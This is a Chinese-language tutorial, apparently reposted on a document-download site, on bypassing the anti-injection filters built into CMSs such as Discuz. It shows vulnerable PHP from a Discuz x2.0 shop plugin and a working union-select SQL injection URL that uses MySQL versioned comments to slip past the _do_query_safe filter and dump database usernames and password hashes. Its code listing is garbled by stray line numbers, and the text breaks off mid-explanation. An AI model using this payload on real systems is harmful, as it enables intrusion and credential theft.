几种通用防注入程序绕过方法

2018-12-06 21:39

几种通用防注入程序绕过方法 0×00 前言 目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。 0×01 Discuz x2.0防注入 防注入原理 这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。 漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示 functiongetGoods($id){ 01

$query= DB::query(‘select * from 02 ‘.DB::table(‘v63_goods’).’ where `id` =’.$id);

$goods= DB::fetch($query); 03

$goods['endtime2'] =date(‘Y-m-d’,$goods['endtime']); 04

$goods['price2'] =$goods['price']; 05

if($goods['sort'] ==2){ 06

$goods['endtime2']=date(‘Y-m-d 07 H:i:s’,$goods['endtime']);

$query= DB::query(“select * from

“.DB::table(‘v63_pm’).” where gid=’$goods[id]‘ order by id desc 08

“);

09

$last= DB::fetch($query);10

if(is_array($last)){11

$goods['price'] =$last['chujia'];12

$goods['uid'] =$last['uid'];13

$goods['username'] =$last['username'];14

$goods['pm'] =$last;15

if(time()+600>$goods['endtime']){16

$goods['endtime'] =$last[time]+600;17

$goods['endtime2']=date(‘Y-m-d

H:i:s’,$last[time]+600);

} 18

} 19

} 20

return$goods; 21

} 22

触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:

下面可以构造如下请求触发漏洞了,如图所示:

不过程序内置了一个_do_query_safe函数用来防注入,如图所示

这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

?

因为我们的url中出现了union select,所以会被过滤掉。 绕过方法

这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:

http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1 1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13 from mysql.user

这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为

select * from pre_v63_goods where `id`

=1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0×23,password),8,9,101

,11,12,13 from mysql.user

再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示


几种通用防注入程序绕过方法.doc 将本文的Word文档下载到电脑 下载失败或者文档不完整,请联系客服人员解决!

下一篇:2017届北京市东城区高三上学期期末考试地理试题(word版)

相关阅读
本类排行
× 注册会员免费下载(下载后可以自由复制和排版)

马上注册会员

注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信: QQ: